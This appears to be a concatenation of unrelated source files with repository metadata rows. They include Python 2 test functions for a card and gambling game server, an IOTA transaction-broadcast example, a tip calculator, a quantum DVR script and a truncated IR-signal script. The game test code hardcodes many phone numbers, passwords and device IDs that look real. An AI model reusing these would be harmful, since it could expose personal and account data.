traceback.print_exc()
finally:
pass
def feed_back(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(FeedBackReq)
req.header.user = result.header.user
req.body.message = u'ๅๅๅ'
req.body.contact = 'aaaaaaaa'
client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def send_customer(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SendFriendMessageReq)
req.header.user = result.header.user
req.body.friend_id = 10000
req.body.message = u'ๆต่ฏ๏ผๆต่ฏไธไธ๏ผๅขๅขๅขๅขๅๅๅaaaa'
client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def query_pop_activity(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(PopActivityReq)
req.header.user = result.header.user
client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def sit_table(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SitWarTableReq)
req.header.user = result.header.user
client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def bet_action(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SitWarTableReq)
req.header.user = result.header.user
client.socket.send(req.encode())
time.sleep(1)
req = create_client_message(WarBetActionReq)
req.header.user = result.header.user
req.body.action_type = 1
req.body.chip.gold = 1000
client.socket.send(req.encode())
time.sleep(1)
req = create_client_message(WarBetActionReq)
req.header.user = result.header.user
req.body.action_type = 0
req.body.chip.gold = 2000
client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def trend(client,mobile = '13412341777',password= '123456',device_id='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,device_id)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
time.sleep(1)
req = create_client_message(QueryTrendReq)
req.header.user = result.header.user
client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def chat_war(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(SitWarTableReq)
req.header.user = result.header.user
client.socket.send(req.encode())
time.sleep(3)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(SendChatReq)
req2.header.user = result.header.user
req2.body.table_id = -10
req2.body.message = u'ๅจPythonไธญไฝฟ็จprotocol buffersๅ่ๆๅ๏ผ๏ผ#๏ฟฅ%โฆโฆ&*๏ผ'
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def query_pool(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
time.sleep(3)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(QueryPoolRankResp)
req2.header.user = result.header.user
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def query_flow(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
time.sleep(3)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(QueryFlowReq)
req2.header.user = result.header.user
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def buy_flow(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
time.sleep(3)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(BuyFlowItemReq)
req2.header.user = result.header.user
req2.body.shop_item_id = 10
req2.body.mobile = 17727853917
req2.body.desc = 'ljq'
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def reward_box(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def get_lottery_reward(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
time.sleep(3)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(BigRewardReq)
req2.header.user = result.header.user
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def lottery_open(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
time.sleep(3)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(LotteryOpenReq)
req2.header.user = result.header.user
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def lottery_close(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
# req = create_client_message(SitWarTableReq)
# req.header.user = result.header.user
# client.socket.send(req.encode())
time.sleep(3)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(BigRewardReq)
req2.header.user = result.header.user
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def lottery_bet(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(LotteryOpenReq)
req.header.user = result.header.user
client.socket.send(req.encode())
time.sleep(1)
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
req2 = create_client_message(LotteryBetReq)
req2.header.user = result.header.user
time.sleep(2)
bet1 = req2.body.bet.add()
bet1.poker_type = P_DAN
bet1.bet_gold = 5000
bet2 = req2.body.bet.add()
bet2.poker_type = P_DUI
bet2.bet_gold = 50000
bet3 = req2.body.bet.add()
bet3.poker_type = P_BAOZI
bet3.bet_gold = 2000
req2.body.auto_bet_number = 0
client.socket.send(req2.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def texas_sit(client,mobile = '13412341235',password= '123456',token='d_9444'):
try:
MessageMapping.init()
resp = client.normal_test_enter_server(mobile,password,token)
print '1111111111111111111'
print resp.header.user,'=',resp.header.result
print resp.body
client.setup_socket()
result = client.connect_game_server(resp.header.user, resp.body.session, 1)
print '2222222222222222222'
print result.header.user,'=',result.header.result
print result.body
print '3333333333333333333333333333333333'
req = create_client_message(TexasSitTableReq)
req.header.user = result.header.user
req.body.table_id = -1
client.socket.send(req.encode())
print ''''''''''''''''''''''''''''''''''''''''''''''''''''''''
resp = client.get_message(client.socket)
# tb_id = resp.body.table.id
# print 'user=%d wait bet READY' % resp.header.user
# time.sleep(4)
# req2 = create_client_message(TexasLeaveTableReq)
# req2.header.user = result.header.user
# req2.body.table_id = resp.body.table.id
# print 'leave table now'
# req2.body.bet_type = BET
# req2.body.texas_status = TEXAS_START
# req2.body.action_gold = 1000
# req2.body.bet_reward_gold = 1000
# resp = client.socket.send(req2.encode())
#
# print resp
# time.sleep(3)
# print 'user=%d now hand bet pass go public_3' % req.header.user
#
# req3 = create_client_message(TexasBetActionReq)
# req3.header.user = result.header.user
# req3.body.table_id = tb_id
# req3.body.bet_type = PASS
# req3.body.texas_status = TEXAS_HAND
# req3.body.action_gold = 1000
# req3.body.bet_reward_gold = 1000
# client.socket.send(req3.encode())
# time.sleep(3)
# print 'user=%d bet PLUS_GOLD' % req.header.user
# req3 = create_client_message(TexasBetActionReq)
# req3.header.user = result.header.user
# req3.body.table_id = resp.body.table.id
# req3.body.bet_type = ADD_BET
# req3.body.texas_status = TEXAS_HAND
# req3.body.action_gold = 1000
# req3.body.bet_reward_gold = 1000
# client.socket.send(req3.encode())
# req = create_client_message(QueryUserReq)
# req.header.user = result.header.user
# req.body.uid = result.header.user
# client.socket.send(req.encode())
# client.socket.send(req.encode())
except Exception as e:
traceback.print_exc()
finally:
pass
def test_card(imei,imsi,token,need_idle,*args):
resp = None
try:
MessageMapping.init()
client = TestClient(str(999999),str(999998), 'token_123')
texas_sit(client, '13480879974', '123456', '94879ac9253746f6')
# lottery_open(client, '18688775086', '123456', 'b0f0dec5c9dc6222')
# lottery_close(client, '17727853917', '111111', 'd971ed2bfbb1bd91')
# lottery_bet(client, '18688775086', '123456', 'b0f0dec5c9dc6222')
# get_lottery_reward(client, '17727853917', '111111', 'd971ed2bfbb1bd91')
# get_order(client, '15919430507','12345678', 'ec747b72aa193c53')
# reward_box(client, '17727853917','111111', '359901057716157')
# buy_flow(client, '17727853917','111111', '359901057716157')
# query_flow(client, '17727853917','111111', '359901057716157')
# sit_table(client, '13480879974', '123456', '94879ac9253746f6')
# sit_table(client, '13112345671', '123456', '209707aeb43af5f1')
# bet_action(client, '15815052888', '123456', '65ac1c5fb1ed7bd')
# trend(client, '15815052888', '123456', '65ac1c5fb1ed7bd')
# query_pool(client, '15815052888', '123456', '65ac1c5fb1ed7bd')
# chat_war(client,'13112345671', '123456', '209707aeb43af5f1')
# reset_login(client, '13480879974', '222222', 0000)
# handle_friend(client, '17712345678', '123456', 'f07b71a305ce16e4')
# make_friends_apply(client, '17712345678', '123456', '117627af0e87e92d')
# get_rank(client, '17727853917', '111111', 'd971ed2bfbb1bd91')
# send_customer(client,'13480879974', '654321','8182c3e0943d05be')
# feed_back(client,'11122223333', '123456','device_id_001')
# fast_login_game(client,'device_i_006','ime_006','ims_006', 'toke_006')
# register_game(client, '22233334444','123456','0','imei_002','imsi_002','device_id_002','channel_002')
# normal_login_game_server_time(client, '13480879974','666666', 'fd56d414984b4b03')
# upgrade_check(client, '17727853917','111111', '359901057716157')
# get_friends_apply(client, 'lxk','123456', '359901057716157')
# get_friends(client, '13466557799','123456', '209707aeb43af5f5')
# query_bank(client, '13488889999','123456', '865372020475361')
# active_bank_gold(client, '13488889999','123456', '865372020475361')
# buy_shop_item(client, '13480879974','123456', 'f07b71a305ce16e4')
# normal_login_game_server_time(client, '13412341777','123456', '88899111121')
# trade_page_list(client, '15919430507','wang0000', '359901057716157')
# trade_sell(client, '15919430507','wang0000', '359901057716157')
# trade_out(client, '13488889999','123456', '865372020475361')
# query_user_bag(client, '13488889999','123456', '865372020475361')
# use_user_bag(client, '13412311111','123456', '351702077470363')
# query_player(client, '13466557799','123456', '865372020475361')
# get_hall_query(client,'15919430507','12345678','356156076240308')
# bind_mobile(client, '','','','')
# normal_logout(client, '15919430507','wang0000', '865372020475361')
# update_user(client, '15815052843','987654', '865647020556892')
# send_chat_world(client,'15815052843', '987654', '865647020556892')
# revice_rewards(client, '15815052843','987654', '865647020556892')
# trade_buy(client, '13433334444','123456', '865372020475362')
# get_annoucments(client, str(999999),str(999998), 'token_123')
# use_code(client, '13751623680', '123123', '209707aeb43af5f1')
# get_signs(client, '13480879974', '123456', '4b4e47a70688e136')
# today_sign(client, '13480879974', '123456', 'a649afdb3fd717b2')
# send_chat_room(client,'13412311111', '123456', 'device_id_333')
# get_rewards(client, '13466557799','123456', '865372020475361')
# get_shop_item(client, '13412311111','123456', 'device_id_333')
# get_register_code(client,'177', '123456', 'device_id_333')
# get_mails(client, '13412311111','123456', 'A00000568CD11')
# send_mail(client, '13412311111','123456', 'device_id_333')
if need_idle:
client.idle()
else:
resp = client.get_message()
print "== result ==>",resp.header.result
except:
traceback.print_exc()
finally:
pass
return resp
if __name__ == "__main__":
if sys.argv[1] != "-w":
test_card(sys.argv[1],"123456",'',True,*sys.argv[2:])
else:
test_card(sys.argv[2],"123456",'',True,*sys.argv[3:])
print "Done"
| [
"87399497@qq.com"
] | 87399497@qq.com |
bc2ea51d99837223a8c3f909b356f13cc9868908 | adab085086c704c78d852138d761680507782899 | /examples/broadcastTransactions/python.py | d1772f8cf316c3ebd5e5028c83304f7c2c9256e6 | [] | no_license | necropaz/documentation | 9aa1c8c6bbde640e3fde28e56c651a3feb70fe5f | 597c500cfec7db82199707d4fd69c8b22afe8c17 | refs/heads/master | 2020-05-29T11:07:02.552098 | 2016-07-08T20:48:43 | 2016-07-08T20:48:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,045 | py | import urllib2
import json
command = {
'command': 'broadcastTransactions',
'trytes': ['BYSWEAUTWXHXZ9YBZISEK9LUHWGMHXCGEVNZHRLUWQFCUSDXZHOFHWHL9MQPVJXXZLIXPXPXF9KYEREFSKCPKYIIKPZVLHUTDFQKKVVBBN9ATTLPCNPJDWDEVIYYLGPZGCWXOBDXMLJC9VO9QXTTBLAXTTBFUAROYEGQIVB9MJWJKXJMCUPTWAUGFZBTZCSJVRBGMYXTVBDDS9MYUJCPZ9YDWWQNIPUAIJXXSNLKUBSCOIJPCLEFPOXFJREXQCUVUMKSDOVQGGHRNILCO9GNCLWFM9APMNMWYASHXQAYBEXF9QRIHIBHYEJOYHRQJAOKAQ9AJJFQ9WEIWIJOTZATIBOXQLBMIJU9PCGBLVDDVFP9CFFSXTDUXMEGOOFXWRTLFGV9XXMYWEMGQEEEDBTIJ9OJOXFAPFQXCDAXOUDMLVYRMRLUDBETOLRJQAEDDLNVIRQJUBZBO9CCFDHIX9MSQCWYAXJVWHCUPTRSXJDESISQPRKZAFKFRULCGVRSBLVFOPEYLEE99JD9SEBALQINPDAZHFAB9RNBH9AZWIJOTLBZVIEJIAYGMC9AZGNFWGRSWAXTYSXVROVNKCOQQIWGPNQZKHUNODGYADPYLZZZUQRTJRTODOUKAOITNOMWNGHJBBA99QUMBHRENGBHTH9KHUAOXBVIVDVYYZMSEYSJWIOGGXZVRGN999EEGQMCOYVJQRIRROMPCQBLDYIGQO9AMORPYFSSUGACOJXGAQSPDY9YWRRPESNXXBDQ9OZOXVIOMLGTSWAMKMTDRSPGJKGBXQIVNRJRFRYEZ9VJDLHIKPSKMYC9YEGHFDS9SGVDHRIXBEMLFIINOHVPXIFAZCJKBHVMQZEVWCOSNWQRDYWVAIBLSCBGESJUIBWZECPUCAYAWMTQKRMCHONIPKJYYTEGZCJYCT9ABRWTJLRQXKMWY9GWZMHYZNWPXULNZAPVQLPMYQZCYNEPOCGOHBJUZLZDPIXVHLDMQYJUUBEDXXPXFLNRGIPWBRNQQZJSGSJTTYHIGGFAWJVXWL9THTPWOOHTNQWCNYOYZXALHAZXVMIZE9WMQUDCHDJMIBWKTYH9AC9AFOT9DPCADCV9ZWUTE9QNOMSZPTZDJLJZCJGHXUNBJFUBJWQUEZDMHXGBPTNSPZBR9TGSKVOHMOQSWPGFLSWNESFKSAZY9HHERAXALZCABFYPOVLAHMIHVDBGKUMDXC9WHHTIRYHZVWNXSVQUWCR9M9RAGMFEZZKZ9XEOQGOSLFQCHHOKLDSA9QCMDGCGMRYJZLBVIFOLBIJPROKMHOYTBTJIWUZWJMCTKCJKKTR9LCVYPVJI9AHGI9JOWMIWZAGMLDFJA9WU9QAMEFGABIBEZNNAL9OXSBFLOEHKDGHWFQSHMPLYFCNXAAZYJLMQDEYRGL9QKCEUEJ9LLVUOINVSZZQHCIKPAGMT9CAYIIMTTBCPKWTYHOJIIY9GYNPAJNUJ9BKYYXSV9JSPEXYMCFAIKTGNRSQGUNIYZCRT9FOWENSZQPD9ALUPYYAVICHVYELYFPUYDTWUSWNIYFXPX9MICCCOOZIWRNJIDALWGWRATGLJXNAYTNIZWQ9YTVDBOFZRKO9CFWRPAQQRXTPACOWCPRLYRYSJARRKSQPR9TCFXDVIXLP9XVL99ERRDSOHBFJDJQQGGGCZNDQ9NYCTQJWVZIAELCRBJJFDMCNZU9FIZRPGNURTXOCDSQGXTQHKHUECGWFUUYS9J9NYQ9U9P9UUP9YMZHWWWCIASCFLCMSKTELZWUGCDE9YOKVOVKTAYPHDF9ZCCQAYPJIJNGSHUIHHCOSSOOBUDOKE9CJZGYSSGNCQJVBEFTZFJ9SQUHOASKRRGBSHWKBCBWBTJHOGQ9WOMQFHWJVEG9NYX9KWBTCAIXNXHEBDIOFO9ALYMFGRICLCKKLG9FOBOX9PDWNQRGHBKHGKKRLWTBEQMCWQRLHAVYYZDIIPKVQTHYTWQMTOACXZOQCDTJTBAAUWXSGJF9PNQIJ9AJRUMUVCPWYVYVARKR9RKGOUHHNKNVGGPDDLGKPQNOYHNKAVVKCXWXOQPZNSLATUJT9AUWRMPPSWHSTTYDFAQDXOCYTZHOYYGAIM9CELMZ9AZPWB9MJXGHOKDNNSZVUDAGXTJJSSZCPZVPZBYNNTUQABSXQWZCHDQSLGK9UOHCFKBIBNETK999999999999999999999999999999999999999999999999999999999999999999999999999999999NOXDXXKUDWLOFJLIPQIBRBMGDYCPGDNLQOLQS99EQYKBIU9VHCJVIPFUYCQDNY9APGEVYLCENJIOBLWNB999999999XKBRHUD99C99999999NKZKEKWLDKMJCI9N9XQOLWEPAYWSH9999999999999999999999999KDDTGZLIPBNZKMLTOLOXQVNGLASESDQVPTXALEKRMIOHQLUHD9ELQDBQETS9QFGTYOYWLNTSKKMVJAUXSIROUICDOXKSYZTDPEDKOQENTJOWJONDEWROCEJIEWFWLUAACVSJFTMCHHXJBJRKAAPUDXXVXFWP9X9999IROUICDOXKSYZTDPEDKOQENTJOWJONDEWROCEJIEWFWLUAACVSJFTMCHHXJBJRKAAPUDXXVXFWP9X9999']
}
stringified = json.dumps(command)
headers = {'content-type': 'application/json'}
request = urllib2.Request(url="http://localhost:14265", data=stringified, headers=headers)
returnData = urllib2.urlopen(request).read()
jsonData = json.loads(returnData)
print jsonData
| [
"dom@fileyy.com"
] | dom@fileyy.com |
379b23e00aa6ecf56e33808d00725ab46880b32d | e2c380399bd455df3d13cedb1ccb4675f74660dc | /1123-05.py | b2e2bb59f38419cce3bdfa84a05d1a63ac01f581 | [] | no_license | Devaisgreat/todayididbasics3 | bcd66cc0d1a26be40c08d5ad5d5a6b186a0b21dd | 38c6cb35e502343523f948d37b393f570c115f9c | refs/heads/main | 2023-01-19T15:48:08.831356 | 2020-11-23T10:27:57 | 2020-11-23T10:27:57 | 315,278,602 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 540 | py | # the answer
print("Welcome to the tip calculator!")
bill = float(input("What was the total bill? $"))
tip = int(input("How much tip would you like to give? 10, 12, or 15? "))
people = int(input("How many people to split the bill?"))
# bill_with_tip = tip / 100 * bill + bill
# print(bill_with_tip)
tip_as_percent = tip / 100
total_tip_amount = bill * tip_as_percent
total_bill = bill + total_tip_amount
bill_per_person = total_bill / people
final_amount = round(bill_per_person, 2)
print(f"Each person should pay {final_amount} dollars")
| [
"noreply@github.com"
] | Devaisgreat.noreply@github.com |
a074d22e65167fc000ab231cdb03e7fe7d470a52 | a0671925a783565cf4af713287e39274e44c8d57 | /dvr_forMathew.py | 6f90b768ae362e761184f10df6143fc5607dffd6 | [] | no_license | gharib85/1d-dvr | a2bf93cb1c20726e5f797e752184ac39c3e6f560 | dd8986622132e4be4046e7a0e0bf44a0d832d308 | refs/heads/master | 2021-09-14T05:56:41.326487 | 2018-05-09T01:04:10 | 2018-05-09T01:04:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,513 | py | import numpy as np
import matplotlib.pyplot as plt
import scipy.optimize
def calculateT(dx,N,interval):
T=np.eye(N)
if interval=='infinite plane':
for ii,row in enumerate(T):
for jj,col in enumerate(row):
i=float(ii)
j=float(jj)
T[ii,jj]=hbar*hbar/(2.0*m*dx*dx)*(-1.0)**(i-j)
if i!=j:
T[ii,jj]= T[ii,jj]*2.0/(i-j)**2
else:
T[ii,jj]=T[ii,jj]* np.pi**2.0/3.0
return T
def Morse(x, De, beta,x0):
return De*(1-np.exp(-beta*x-x0))**2
def Quartic(x, A, B, x0,x1,G):
return A*(x-x0)**4 +B*(x-x1)**2+G
def fitPotential(fileName):
rawData=np.loadtxt(fileName)
xData=rawData[:,0]
yData=rawData[:,1]
plt.scatter(xData,yData)
func=Quartic
popt, pcov = scipy.optimize.curve_fit(func, xData, yData)
print 'opt values', popt
xvalues=np.linspace(np.min(xData), np.max(xData),num=50)
plt.plot(xvalues, func(xvalues, *popt), 'r-', label='fit')
plt.show()
# print rawData.shape
return func,popt
def V(x,potential,center=0.0,omega=1.0,fileName=None):
v=np.zeros(x.size)
if potential=='morse':
D_e=3
alpha=2
v=D_e*(1-np.exp(alpha*x))**2
if potential=='harmonic':
k=1.0
v=0.5*k*(x*x)
elif potential=='double-well':
omega=1.0
k=omega**2
b=4.0
a=.50
g=b**2/(4.0*a)
v=a*x**4-b*x**2+g
elif potential=='box':
v=np.zeros(x.size)
elif potential=='half-harmonic':
k=1.0
for i,guy in enumerate(x):
if guy<0:
v[i]=1000
else:
v[i]=0.5*k*(guy*guy)
elif potential=='scanData':
print 'doing ScanData, ', fileName
pot=fitPotential(fileName)
v,popt=pot(x)
elif potential=='triple-well':
print 'triple well!'
a=np.shape(x)[0]
b=10.0
v=x*0
v[16*a/50:17*a/50]=b
v[33*a/50:34*a/50]=b
v=np.diag(v)
return v
print 'start'
hbar=1.0
m=1.0
a=-10.
b=10.
N=503
#x=np.linspace(a,b,N)
x=[a+(b-a)/N*float(i) for i in range(1,int(N-1))]
x=np.array(x[1:])
dx=(b-a)/(N)
print 'N', N
print 'dx', dx
T=calculateT(dx,N-3,'infinite plane')
#print 'T'
#plt.imshow(T)
#plt.colorbar()
#plt.show()
k=1.0
V=V(x,'box')
#V=V(x,'harmonic')
#V=V(x,'morse')
#V=V(x,'triple-well')
#V=V(x,'half-harmonic')
#V=V(x,'double-well')
#V=V(x,'scanData',fileName='RvsE.data')
#print 'shape of V', V.shape
#print 'plot the V'
#plt.imshow(V)
#plt.show()
plt.plot(x,np.diag(V))
plt.show()
H=T+V #add them
#print 'plot of H'
#plt.imshow(H)
#plt.colorbar()
#plt.show()
eigenVals,eigenVects=np.linalg.eigh(H) #diagonalize it
#print 'H', H[0:3,0:3]
print 'E', eigenVals[0:20]
print 'plot of E'
#plt.plot(range(eigenVals.size)[0:25],eigenVals[0:25])
#plt.show()
#plt.plot(range(eigenVals.size),eigenVals)
#plt.show()
#print 'Higher Es', eigenVals[240:260]
#print 'some of the vects',eigenVects[0,240:260]
#print eigenVects[0].size
#print x.size
#ExactE=[0.5+1.0*float(i) for i in range(0,int(N-3))]
#print 'ExactE',ExactE
#plt.plot(ExactE[0:20]-eigenVals[0:20])
#plt.show()
#plt.plot(x,np.diag(V))
fig, ax1 = plt.subplots()
ax2=ax1.twinx()
ax2.set_ylabel('Potential Energy')
ax1.set_ylabel('Eigenvalue')
plt.ylim([0,10])
ax2.set_autoscaley_on(False)
ax2.plot(x,np.diag(V))
for i in range(3):
ax1.plot(x,(10.0*(eigenVects[:,i])+eigenVals[i]))
plt.show()
print 'All done!'
| [
"lrm13@uw.edu"
] | lrm13@uw.edu |
25327d8a85c8a5c7f341178df33087c26acafafe | 517d461257edd1d6b239200b931c6c001b99f6da | /Circuit_Playground/CircuitPython/IR/fuzzy_logic_IR_signals.py | b427a64ac63efa09b482f9e879c4f4936cb0157b | [] | no_license | cmontalvo251/Microcontrollers | 7911e173badff93fc29e52fbdce287aab1314608 | 09ff976f2ee042b9182fb5a732978225561d151a | refs/heads/master | 2023-06-23T16:35:51.940859 | 2023-06-16T19:29:30 | 2023-06-16T19:29:30 | 229,314,291 | 5 | 3 | null | null | null | null | UTF-8 | Python | false | false | 85,477 | py | #This routine will plot multiple signals from a IR signal
#import numpy as np No numpy support on circuit python. Will have to do without
import matplotlib.pyplot as plt
import plotting as myplt
plt.close("all")
def mean(input_signal):
return sum(input_signal)/len(input_signal)
##Let's make the function to compute the RMS
def RMS(input_signal,avg_signal):
global MAX_THRESHOLD
##Assuming both signals are the same and np arrays we should be able to do this
##But they might not
if len(input_signal) != len(avg_signal):
return MAX_THRESHOLD*100.0
else:
avg = mean(avg_signal)
num = 0
for x in range(0,len(input_signal)):
num+=(input_signal[x]-avg_signal[x])**2
return num/avg
def process_line(line):
num_peaks = 0
peak = 0
for x in range(0,len(line)):
if line[x] > 1500:
line[x] = 1500
num_peaks += 1
if peak == 0:
#This means the previous value was not a peak so set it to 1
peak = 1
